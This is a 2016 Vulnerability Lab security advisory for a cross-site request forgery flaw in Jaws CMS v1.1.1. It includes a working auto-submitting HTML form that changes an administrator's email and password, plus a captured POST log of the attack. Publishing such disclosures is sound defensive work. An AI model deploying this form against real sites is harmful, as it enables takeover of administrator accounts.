Jaws CMS v1.1.1 - Privilege Escalate CSRF Vulnerability

2016-09-09T00:00:00
ID VULNERLAB:1923
Type vulnerlab
Reporter ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]
Modified 2016-09-09T00:00:00

Description

                                        
                                            Document Title:
===============
Jaws CMS v1.1.1 - Privilege Escalate CSRF Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1923


Release Date:
=============
2016-09-09


Vulnerability Laboratory ID (VL-ID):
====================================
1923


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Jaws is a Framework and Content Management System for building dynamic web sites. It aims to be User Friendly giving ease of use 
and lots of ways to customize web sites, but at the same time is Developer Friendly, it offers a simple and powerful framework to 
hack your own modules.

(Copy of the Vendor Homepage: http://jaws-project.com )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side cross site request forgery vulnerability in the Jaws v1.1.1 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-22:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Jaws Project
Product: Jaws - Content Management System 1.1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the content management system Jaws official v1.1.1.
The vulnerability allows to perform malicious client-side web-application request to execute non-protected functions 
with own web context.

In the absence of security token, an attacker could execute arbitrary code in the administrator's browser to gain 
unauthorized access to the administrator privileges. The vulnerability is located in the edituser.php file of the 
./user/account.html module. The request method to execute is POST and the attack vector is client-side performed 
by the remote attacker.


Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: CSRF Exploitation
<html>
<h2>Privilege Escalate CSRF Vulnerability</h2>
<form name="profilebox" action="http://localhost.jaws-project.com/index.php" method="post">
<input type="hidden" name="gadget" value="Users" />
<input type="hidden" name="action" value="UpdateAccount" />
<div class="content">
<input type="hidden" name="email" id="profile_email" value="admin@example.org" />
<input type="hidden" name="nickname" id="profile_nickname" value="VulnLabsAdministrator" />
<input type="hidden" name="password" id="profile_password" type="password" value="1234" />
<input type="hidden" name="password_check" id="profile_chkpasswd" type="password" value="1234" />
</div>
<div class="actions"><button type="submit" value="Update Account">Update Account</button></div>
<script>document.forms[0].submit()</script>
</form>
</div>
</html>


--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: jaws.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://jaws.localhost:8080/user/account.html
Cookie: JAWSSESSID=2-88361181057b9d4d878d1c6.98434178; VisitCounter=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
-
POST Method: gadget=Users&action=UpdateAccount&email=admin%40evilsource.com&nickname=VulnLabsAdministrator&password=1337&password_check=1337


Reference(s):
http://jaws.localhost:8080/
http://jaws.localhost:8080/user/
http://jaws.localhost:8080/user/account.html


Security Risk:
==============
The security risk of the client-side cross site request forgery issue in the web-application is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
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